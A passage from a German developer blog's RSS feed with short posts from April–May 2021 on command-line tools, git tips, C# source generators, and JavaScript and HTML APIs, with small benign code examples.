Außerdem habe ich bisher schlechte Erfahrungen damit gemacht (ok, eigentlich nur in Java). Da hat man immer mal wieder das Problem, dass generierter Code (z. B. von immutables.org) &quot;noch nicht da ist&quot; und die IDE dann meckert, warum man eine nicht-existente Klasse verwendet (in diesem Fall z. B. der Builder für einen unveränderlichen Typen).&lt;/p&gt;
&lt;p&gt;Man sieht aber trotzdem den Use-Case für solche Dinge. Da C# sich aktuell stark darauf hinentwickelt, Ahead-Of-Time-Compile-fähig zu sein, ergibt dieses Feature Sinn. Z.B. ist Reflection bei AOT-Kompilierung ein Dorn im Auge, da man nicht weiß, welche Typen/Codeteile man aus der fertigen Assembly rausschmeißen kann. Man kann außerdem sehr schön optimieren, wenn man konkreten Code mit ordentlichen Typen statt Reflection hat.&lt;/p&gt;
&lt;p&gt;Vermutlich werden viele Dinge, die C# vor ein paar Jahren noch als eigenes Feature gebaut hätte, jetzt als Source-Generator implementiert. Letztendlich ist das ja auch nur ein Compiler-Plugin, das &lt;a href=&quot;https://mattwarren.org/2017/05/25/Lowering-in-the-C-Compiler/&quot;&gt;Lowering&lt;/a&gt; betreibt. Hoffentlich wird es die Sprache nicht allzu krass verwässern. Die Befürchtung habe ich ja schon.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/amis92/csharp-source-generators&quot;&gt;Hier ist eine Liste mit Source-Generatoren&lt;/a&gt;, die man sich in einer freien Minute anschauen kann. Viel Zeug dabei, das man nicht braucht. Aber auch viel nützliches.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/04/03/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/04/03/0.html</guid><pubDate>Sat, 03 Apr 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://youtu.be/6X3WzrnyyGc&quot;&gt;Heute schon die Firmware eurer Kaffeetasse geupdated&lt;/a&gt;?&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/04/04/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/04/04/0.html</guid><pubDate>Sun, 04 Apr 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Kennt Ihr &lt;a href=&quot;https://stedolan.github.io/jq/&quot;&gt;jq&lt;/a&gt;? Damit könnt Ihr Jsonpath-Querys auf JSON im Terminal werfen. So kann man ganz gut strukturierte Daten in Bash-Skripten verarbeiten.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/jeffbr13/xq&quot;&gt;xq&lt;/a&gt; kann das mit XML.&lt;/p&gt;
&lt;p&gt;Für YAML gibt es zwei verschiedene, einmal &lt;a href=&quot;https://github.com/kislyuk/yq&quot;&gt;yq&lt;/a&gt; (einen jq-Wrapper für XML, YAML und TOML) und &lt;a href=&quot;https://github.com/mikefarah/yq&quot;&gt;yq&lt;/a&gt; (jq nur für ausschließlich YAML). Leider haben beide denselben Namen.&lt;/p&gt;
&lt;p&gt;Dann gibt es noch &lt;a href=&quot;http://harelba.github.io/q/&quot;&gt;q&lt;/a&gt;. Mit q kann man SQL-Querys auf CSV-Dateien absetzen.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>tools</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/04/05/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/04/05/0.html</guid><pubDate>Mon, 05 Apr 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Falls Ihr Duplikate (bitweise identisch) löschen wollt: &lt;a href=&quot;https://rmlint.readthedocs.io&quot;&gt;rmlint&lt;/a&gt; ist ein tolles Tool dafür.&lt;/p&gt;
&lt;p&gt;Löscht nicht direkt, generiert nur ein Shell-Skript mit dem man dann die Löschung vornimmt. Hat auch diverse Optionen. Z. B. kann man statt Löschen auch einen Sym- oder Hardlink erstellen. Verwende ich bei meinen Readonly-Backups, um etwas Platz zu sparen.&lt;/p&gt;
&lt;p&gt;Wer experimentierfreudig ist, kann das mit dem Hardlinks ja auch mal auf einem &lt;code&gt;node_modules&lt;/code&gt; ausprobieren.
Die npm-Alternative &lt;a href=&quot;https://github.com/pnpm/pnpm&quot;&gt;pnpm&lt;/a&gt; &lt;a href=&quot;https://pnpm.js.org/blog/2020/05/27/flat-node-modules-is-not-the-only-way&quot;&gt;fährt einen Symlink-Ansatz&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/04/05/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/04/05/1.html</guid><pubDate>Mon, 05 Apr 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Glaubt Ihr zu wissen, wie eine E-Mail-Adresse aufgebaut sein kann?&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://haacked.com/archive/2007/08/21/i-knew-how-to-validate-an-email-address-until-i.aspx/&quot;&gt;Lest mal das hier in einer freien Minute&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/04/05/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/04/05/2.html</guid><pubDate>Mon, 05 Apr 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.supremecourt.gov/opinions/20pdf/18-956_d18f.pdf&quot;&gt;Google’s copying of the Java SE API was fair use&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/04/05/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/04/05/3.html</guid><pubDate>Mon, 05 Apr 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Cooler Hack: &lt;a href=&quot;https://www.kenneth-truyers.net/2016/10/13/git-nosql-database/&quot;&gt;Git als NoSql-Datenbank&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Dabei habe ich auch gelernt, dass man sich den Inhalt einer Datei in einem bestimmten Branch mit &lt;code&gt;git show &amp;lt;branch&amp;gt;:&amp;lt;dateipfad&amp;gt;&lt;/code&gt; anzeigen lassen kann.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/04/06/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/04/06/0.html</guid><pubDate>Tue, 06 Apr 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Die FSF sagt übrigens, wenn in deiner Lizenz &lt;em&gt;&quot;The Software shall be used for Good, not Evil.&quot;&lt;/em&gt; steht, &lt;a href=&quot;https://stackoverflow.com/a/18239665&quot;&gt;verletzt das &quot;freedom 0&quot; und macht somit die ganze Lizenz Non-Free&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In dem StackOverflow-Post hatte jemand gefragt, warum plötzlich sein PHP nicht mehr JSON deserialisieren kann. Manche Distributionen haben &lt;code&gt;php*-json&lt;/code&gt; rausgenommen, weil es keine freie Lizenz (nach FSF) hat.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/04/06/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/04/06/1.html</guid><pubDate>Tue, 06 Apr 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;TIL: &lt;a href=&quot;https://paleofuture.gizmodo.com/larry-ellisons-oracle-started-as-a-cia-project-1636592238&quot;&gt;Oracle hat seinen Ursprung in der CIA&lt;/a&gt;. Die CIA brauchte eine dicke Datenbank. Das interne Projekt mit dem Codenamen hieß Oracle, was später zu der Firma wurde.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/04/06/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/04/06/2.html</guid><pubDate>Tue, 06 Apr 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Hatte neulich &lt;a href=&quot;/2021/04/04/0.html&quot;&gt;Tools verlinkt&lt;/a&gt;, mit denen man auf Dateiinhalte Querys absetzen kann.&lt;/p&gt;
&lt;p&gt;Heute springt mit das Tool &lt;a href=&quot;https://github.com/jhspetersson/fselect&quot;&gt;fselect&lt;/a&gt; entgegen. Da kann man SQL-like Abfragen auf das Dateisystem machen, um z. B. eine Datei zu finden. Falls man nicht so fluent in &lt;code&gt;find&lt;/code&gt; ist.&lt;/p&gt;
&lt;p&gt;Beispiele aus der README:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fselect &quot;name from /tmp where (name = *.tmp and size = 0) or (name = *.cfg and size &amp;gt; 1000000)&quot;
fselect &quot;LOWER(name), UPPER(name), LENGTH(name), YEAR(modified) from /home/user/Downloads&quot;
fselect size, path from /home/user where name = &apos;*.cfg&apos; or name = &apos;*.tmp&apos;
fselect size, abspath from ./tmp where size gt 2g
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><language>de-DE</language><category>tools</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/04/08/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/04/08/0.html</guid><pubDate>Thu, 08 Apr 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Wer seine JS-Querdenken-Fähigkeit trainieren will, ist mit diesem Spiel richtig: &lt;a href=&quot;https://alf.nu/ReturnTrue&quot;&gt;Return &lt;code&gt;true&lt;/code&gt; to win&lt;/a&gt; und &lt;a href=&quot;https://alf.nu/alert1&quot;&gt;&lt;code&gt;alert(1)&lt;/code&gt; to win&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/04/08/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/04/08/1.html</guid><pubDate>Thu, 08 Apr 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.blog/2020-12-17-commits-are-snapshots-not-diffs/&quot;&gt;Ein schöner Post über ein paar Internals von Git&lt;/a&gt;. Im speziellen geht es darum, dass Commits in Git keine Diffs, sondern Snapshots sind.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/04/11/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/04/11/0.html</guid><pubDate>Sun, 11 Apr 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Es gibt einen &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTML/Element/dialog&quot;&gt;&lt;code&gt;dialog&lt;/code&gt;-Tag&lt;/a&gt; für Modals und sonstige interaktive Komponenten.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/04/12/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/04/12/0.html</guid><pubDate>Mon, 12 Apr 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://umaar.com/dev-tips&quot;&gt;Eine Seite mit Sammlungen an Tipps für die Chrome-Dev-Tools, ein bisschen HTML und JS&lt;/a&gt;. Vergesst bitte nicht, auch noch in Firefox zu testen! :)&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/04/12/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/04/12/1.html</guid><pubDate>Mon, 12 Apr 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Man kann mit JS ohne jQuery ein Element &quot;smooth&quot; in den sichtbaren Bereich scrollen:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;el.scrollIntoView({
    behavior: &quot;smooth&quot;,
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Man kann zu html-anchor auch ohne JS scrollen, mit CSS:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;html {
    scroll-behavior: smooth;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Dann im HTML:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;#tolle-ueberschrift&quot;&amp;gt;Klick hier&amp;lt;/a&amp;gt;
&amp;lt;h1 id=&quot;tolle-ueberschrift&quot;&amp;gt;Es folgt ein toller Artikel...&amp;lt;/h1&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/docs/Web/CSS/scroll-behavior&quot;&gt;MDN dazu&lt;/a&gt;, &lt;a href=&quot;https://caniuse.com/css-scroll-behavior&quot;&gt;CanIUse dazu&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Wer Probleme damit hat, dass auf mobilgeräten mit Touchscreen manchmal Dinge gescrollt werden, die eigentlich nicht gescrollt werden sollten, den rettet vielleicht die &lt;a href=&quot;https://developer.mozilla.org/de/docs/Web/CSS/overscroll-behavior&quot;&gt;&lt;code&gt;overscroll-behavior&lt;/code&gt;&lt;/a&gt;-Eigenschaft.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/04/12/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/04/12/2.html</guid><pubDate>Mon, 12 Apr 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Mit &lt;code&gt;console.group&lt;/code&gt; kann man (auf-/einklappbare) Abschnitte in der JS-Konsole erzeugen. Die können auch durchaus verschachtelt sein:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;console.log(&quot;This is the outer level&quot;);
console.group();
console.log(&quot;Level 2&quot;);
console.group();
console.log(&quot;Level 3&quot;);
console.warn(&quot;More of level 3&quot;);
console.groupEnd();
console.log(&quot;Back to level 2&quot;);
console.groupEnd();
console.log(&quot;Back to the outer level&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Console/group&quot;&gt;MDN dazu&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/04/13/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/04/13/0.html</guid><pubDate>Tue, 13 Apr 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Wer öfters mit Node.js und im Browser arbeitet, der wird &lt;code&gt;on()&lt;/code&gt; bei Node.js und &lt;code&gt;addEventListener()&lt;/code&gt; im Browser kennen.&lt;/p&gt;
&lt;p&gt;Oft möchte man aber nur ein einziges Mal auf ein Event reagieren. Bei Node.js gibt es dafür &lt;code&gt;once()&lt;/code&gt;. Verhält sich wie &lt;code&gt;on()&lt;/code&gt;, wird aber nur ein Mal aufgerufen.&lt;/p&gt;
&lt;p&gt;Bisher dachte ich, dass man das bei &lt;code&gt;addEventListener()&lt;/code&gt; immer manuell machen musste. Es geht aber so:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;element.addEventListener(&quot;click&quot;, () =&amp;gt; {}, {
    once: true,
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener&quot;&gt;MDN dazu&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/04/14/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/04/14/0.html</guid><pubDate>Wed, 14 Apr 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Wir hatten ja gerade Event-Listener-APIs. Da gibt&apos;s noch mehr:&lt;/p&gt;
&lt;p&gt;Will man viele Handler auf einmal entfernen, kann man das auch über einen &lt;code&gt;AbortController&lt;/code&gt; machen:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const controller = new AbortController();

element1.addEventListener(&quot;click&quot;, () =&amp;gt; {}, {
    signal: controller.signal,
});
element2.addEventListener(&quot;click&quot;, () =&amp;gt; {}, {
    signal: controller.signal,
});
element3.addEventListener(&quot;click&quot;, () =&amp;gt; {}, {
    signal: controller.signal,
});

// Alle Handler entfernen
controller.abort();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Was mir an der Lösung so schön gefällt, ist, dass man kein &lt;code&gt;removeEventListener&lt;/code&gt; braucht. Genauer gesagt: Man muss die Lambdas nicht in Variablen auslagern, damit man sie dann &lt;code&gt;removeEventListener&lt;/code&gt; wieder übergeben kann.&lt;/p&gt;
&lt;p&gt;Der &lt;code&gt;AbortController&lt;/code&gt; ist sowas ähnliches wie die &lt;a href=&quot;https://docs.microsoft.com/de-de/dotnet/api/system.threading.cancellationtokensource&quot;&gt;&lt;code&gt;CancellationTokenSource&lt;/code&gt;&lt;/a&gt; und das &lt;code&gt;AbortSignal&lt;/code&gt; sowas wie das &lt;a href=&quot;https://docs.microsoft.com/de-de/dotnet/api/system.threading.cancellationtoken&quot;&gt;&lt;code&gt;CancellationToken&lt;/code&gt;&lt;/a&gt; aus .NET.&lt;/p&gt;
&lt;p&gt;Man kann den &lt;code&gt;AbortController&lt;/code&gt; auch nutzen, um einen &lt;code&gt;fetch&lt;/code&gt;-Request abzubrechen:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fetch(url, {
    signal: controller.signal,
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Besonders toll finde ich, dass man damit mehrere Aktionen gleichzeitig abbrechen kann.&lt;/p&gt;
&lt;p&gt;Leider ist das ganze API-spezifisch. Also man kann nicht generell Promises damit abbrechen. &lt;a href=&quot;https://github.com/tc39/proposal-cancelable-promises&quot;&gt;Dafür gab es mal ein Proposal&lt;/a&gt; und ein wenig später noch eins, &lt;a href=&quot;https://github.com/tc39/proposal-cancellation&quot;&gt;das auch nicht mehr so aktiv ist&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;MDN-links:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/AbortSignal&quot;&gt;&lt;code&gt;AbortSignal&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/AbortController&quot;&gt;&lt;code&gt;AbortController&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/04/18/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/04/18/0.html</guid><pubDate>Sun, 18 Apr 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Bin gerade auf diese Seite zum Generieren von Mock-Daten gestoßen:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mockaroo.com&quot;&gt;https://mockaroo.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Sieht cool aus. Sind aber kommerziell - vielleicht gibt&apos;s auch FOSS-CLI-Tool-Alternativen?&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/04/21/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/04/21/0.html</guid><pubDate>Wed, 21 Apr 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ihr kennt sicherlich &lt;code&gt;&amp;lt;input type=&quot;email&amp;gt;&lt;/code&gt; und so weiter. Wenn einem das nicht reicht, kann man &lt;code&gt;input&lt;/code&gt;-Felder auch mit RegEx-Patterns validieren:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;input
    type=&quot;text&quot;
    name=&quot;country_code&quot;
    pattern=&quot;[A-Za-z]{3}&quot;
    title=&quot;Three letter country code&quot;
&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(&lt;a href=&quot;https://www.w3schools.com/tags/att_input_pattern.asp&quot;&gt;W3Schools dazu&lt;/a&gt;)&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/04/21/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/04/21/1.html</guid><pubDate>Wed, 21 Apr 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/nodejs/node/blob/master/doc/changelogs/CHANGELOG_V16.md#16.0.0&quot;&gt;Node.js 16 ist da&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Spannende Neuerungen: Eigentlich keine.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/04/21/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/04/21/2.html</guid><pubDate>Wed, 21 Apr 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/commandline/the-initial-preview-of-gui-app-support-is-now-available-for-the-windows-subsystem-for-linux-2/&quot;&gt;WSL kann jetzt offiziell Linux-GUI-Anwendungen mit Ton und GPU-Beschleunigung&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Mit &lt;a href=&quot;https://de.wikipedia.org/wiki/Xming&quot;&gt;Xming&lt;/a&gt; konnte man schon vorher GUI-Anwendungen in WSL laufen lassen. Jetzt wird es aber offiziell von MS unterstützt. Die &lt;a href=&quot;https://github.com/microsoft/wslg&quot;&gt;dazugehörige Software&lt;/a&gt; ist open-source.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/04/25/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/04/25/0.html</guid><pubDate>Sun, 25 Apr 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Mit &lt;code&gt;apt-file&lt;/code&gt; kann man in APT-Paketen nach einer Datei suchen. Das ist praktisch, wenn man mal wieder ein Latex-Dokument kompilieren will und irgendein Package fehlt und man nicht weiß, welches man dafür installieren muss.&lt;/p&gt;
&lt;p&gt;Konkretes Beispiel: &lt;code&gt;listings.sty&lt;/code&gt; wird nicht gefunden.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ apt-file search listings.sty
latexml: /usr/share/perl5/LaTeXML/Package/listings.sty.ltxml
texlive-extra-utils: /usr/share/texlive/texmf-dist/tex/latex/checklistings/checklistings.sty
texlive-lang-japanese: /usr/share/texlive/texmf-dist/tex/luatex/luatexja/patches/lltjp-listings.sty
texlive-latex-extra: /usr/share/texlive/texmf-dist/tex/latex/cnltx/cnltx-listings.sty
texlive-latex-extra: /usr/share/texlive/texmf-dist/tex/latex/exsheets/exsheets-listings.sty
texlive-latex-recommended: /usr/share/texlive/texmf-dist/tex/latex/filehook/filehook-listings.sty
texlive-latex-recommended: /usr/share/texlive/texmf-dist/tex/latex/listings/listings.sty
texlive-latex-recommended: /usr/share/texlive/texmf-dist/tex/latex/lwarp/lwarp-listings.sty
texlive-publishers: /usr/share/texlive/texmf-dist/tex/latex/hagenberg-thesis/hgblistings.sty
texlive-xetex: /usr/share/texlive/texmf-dist/tex/xelatex/xecjk/xeCJK-listings.sty
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;War in diesem Fall dann wohl &lt;code&gt;texlive-latex-recommended&lt;/code&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/04/26/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/04/26/0.html</guid><pubDate>Mon, 26 Apr 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Kleiner Selbsttest: &lt;a href=&quot;https://computers-are-fast.github.io&quot;&gt;Wie viel kann ein Computer in einer Sekunde machen?&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/05/02/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/05/02/0.html</guid><pubDate>Sun, 02 May 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ich immer, mit meinem SQLite. &lt;a href=&quot;https://phiresky.github.io/blog/2021/hosting-sqlite-databases-on-github-pages/&quot;&gt;Hier hat jemand etwas echt cooles gebaut&lt;/a&gt;: Eine SQLite-Datei, statisch gehostet. Der JS-Client kann an diese Anfragen schicken. Ein Wrapper um das Client-Dateisystem fragt Seiten erst an, wenn der SQLite-Client sie lesen will.&lt;/p&gt;
&lt;p&gt;Warum ist das cool? Man kann damit eine komplett statisch gehostete Suchfunktion für statische Seiten bauen, bei dem die SQLite-DB bei jedem Page-Build frisch gebaut wird. Oder bequem Datensätze an den Client ausliefern, ohne ein Backend zu haben.
Da gibt&apos;s sicher noch einige Anwendungsfälle mehr!&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/05/05/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/05/05/0.html</guid><pubDate>Wed, 05 May 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;code&gt;parseInt&lt;/code&gt; ist in JavaScript so ein Ding. Nicht nur, dass der zweite Parameter die Basis angibt und es damit unnütz für Operationen wie &lt;code&gt;.map&lt;/code&gt; wird&amp;lt;sup&amp;gt;1&amp;lt;/sup&amp;gt;. Nein, auch, wenn das zu parsende bereits eine Zahl ist, gibt&apos;s Probleme!&lt;/p&gt;
&lt;p&gt;Nehmen wir dieses schöne Beispiel und versucht rauszubekommen, was das Ergebnis für jede Zeile ist:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;parseInt(0.5);
parseInt(0.05);
parseInt(0.005);
parseInt(0.0005);
parseInt(0.00005);
parseInt(0.000005);
parseInt(0.0000005);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Richtig, alle Zeilen bis auf die letzte geben &lt;code&gt;0&lt;/code&gt; zurück. Und die letzte? Die wird zu &lt;code&gt;5&lt;/code&gt;.
&lt;a href=&quot;https://dmitripavlutin.com/parseint-mystery-javascript/&quot;&gt;Hier die Erklärung, wie das zustande kommt&lt;/a&gt;. tl;dr: &lt;code&gt;0.0000005.toString()&lt;/code&gt; ist &lt;code&gt;&quot;5e-7&quot;&lt;/code&gt;, welches bis zum &lt;code&gt;e&lt;/code&gt; geparst wird. Die davor sind 0, weil &lt;code&gt;0.000005.toString()&lt;/code&gt; zum String &lt;code&gt;&quot;0.000005&quot;&lt;/code&gt; wird (und der Parser korrekterweise den Integer &lt;code&gt;0&lt;/code&gt; daraus macht). Das verursacht aktuell bestimmt schon viele Bugs und wär&apos; bestimmt auch ein cooler Aufhänger für ein Node.js-CTF!&lt;/p&gt;
&lt;p&gt;Als Alternative zu &lt;code&gt;parseInt&lt;/code&gt; könnte man jetzt so Konstrukte wie &lt;code&gt;Number(0.0000005) | 0&lt;/code&gt; ranziehen. Vielleicht hat das aber auch wieder seine Fallstricke?&lt;/p&gt;
&lt;p&gt;&amp;lt;sup&amp;gt;1&amp;lt;/sup&amp;gt;: Zugegebenermaßen ist es aber auch sinnvoll, die Basis zum Parsen mit angeben zu können.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/05/05/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/05/05/1.html</guid><pubDate>Wed, 05 May 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Das &lt;a href=&quot;https://github.com/tc39/proposal-temporal&quot;&gt;&lt;code&gt;Temporal&lt;/code&gt;-Proposal&lt;/a&gt; ist neulich in Stage 3 gelandet. Das ist eine neue Zeit-API für JavaScript, mit der man endlich &lt;code&gt;Date&lt;/code&gt;, &lt;code&gt;moment.js&lt;/code&gt; etc. wegwerfen kann.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://bkardell.com/blog/TemporalIn2Min.html&quot;&gt;Hier eine schnelle Übersicht&lt;/a&gt;. Wesentlich ist die Unterscheidung zwischen einem &quot;Datum&quot;/&quot;Datum+Zeit&quot; und einem &quot;Instant&quot;. Das letztere kennen viele vielleicht als Konzept aus Jodatime/Nodatime und ist eigentlich fast immer das, was man will, wenn man mit Timestamps arbeitet.&lt;/p&gt;
&lt;p&gt;Zusammen mit den APIs &lt;a href=&quot;https://developer.mozilla.org/de/docs/Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat&quot;&gt;&lt;code&gt;Intl.DateTimeFormat&lt;/code&gt;&lt;/a&gt; und &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl/RelativeTimeFormat&quot;&gt;&lt;code&gt;Intl.RelativeTimeFormat&lt;/code&gt;&lt;/a&gt; braucht man jetzt eigentlich keine Librarys mehr für irgendwelche Dinge mit Zeit. Die gesamte &lt;a href=&quot;https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Intl&quot;&gt;&lt;code&gt;Intl&lt;/code&gt;-API&lt;/a&gt; ist übrigens einen Blick wert. Da sind auch so Sachen wie Zahlenformatierung und Plural-Regeln.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/05/08/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/05/08/0.html</guid><pubDate>Sat, 08 May 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/google/zx&quot;&gt;Ein interessanter Ansatz für Shell-Skripte&lt;/a&gt;. Das ist JavaScript, aber mit einigen Default-Imports und npm-Paketen. Die Demos sehen interessant aus:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env zx

await $`cat package.json | grep name`

let branch = await $`git branch --show-current`
await $`dep deploy --branch=${branch}`

await Promise.all([
  $`sleep 1; echo 1`,
  $`sleep 2; echo 2`,
